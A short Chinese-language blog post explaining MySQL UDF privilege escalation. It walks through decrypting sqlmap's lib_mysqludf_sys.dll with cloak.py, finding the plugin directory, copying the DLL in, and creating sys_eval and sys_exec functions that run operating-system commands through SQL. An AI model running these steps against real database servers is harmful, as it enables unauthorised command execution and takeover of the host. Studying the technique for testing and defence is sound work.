udf提权

272 阅读2分钟

携手创作,共同成长!这是我参与「掘金日新计划 · 8 月更文挑战」的第8天,点击查看活动详情 什么是 udf

 udf = ‘user defined function‘,即‘用户自定义函数’。
 是通过添加新函数,对MYSQL的功能进行扩充,性质就象使用本地MYSQL函数如abs()或concat()。
 udf在mysql5.1以后的版本中,存在于‘mysql/lib/plugin’目录下,文件后缀为‘.dll’,常用c语言编写。

既然支持自定义函数那么我们如果想定义一个可以执行系统命令的函数也是可以的吧?

于是就有了 udf 提权。。

怎么使用 udf 提权呢

首先在 sqlmap 中就已经集成了这个 dll。储存与 SQLMAP 相对路径下的 /udf/msql 中

可以看到并不是一个 dll 文件,这是因为 sqlmap 防止查杀将文件做了加密。。需要我们用 sqlmap 自带的脚本解密一下。
该脚本位于 sqlmap 相对路径下的 /extra/cloak
在这里进行解密
打开 cmd, 定位到这个路径。。
输入命令: python2 cloak.py -d -i E:\pythpn27\SQLMap\udf\mysql\windows\32\lib_mysqludf_sys.dll_

注意:后面的路径就是你的 dll_文件的绝对路径

解密后就有了这个 dll 文件。。

于是进入 mysql 命令行或其他可以执行命令的地方。。

执行以下命令(用于收集信息):

select  @@plugin_dir;   得到dll文件的储存位置

接下来将我们解密出来的 dll 文件复制到这个目录下

进入命令行创建命令执行函数 (这里面提供两个):

create function  sys_eval returns string soname 'lib_mysqludf_sys.dll';
create function  sys_exec returns string soname 'lib_mysqludf_sys.dll';

创建完成后就可以直接运用执行系统命令了。

弹注册表。。

可以看到直接调用到了 cmd 来执行命令。

总结:原本想用 sqlmap 进行自动化的注入 dll 文件的。。但是发现没有权限写入。。。。。

下次试试 win7 吧。。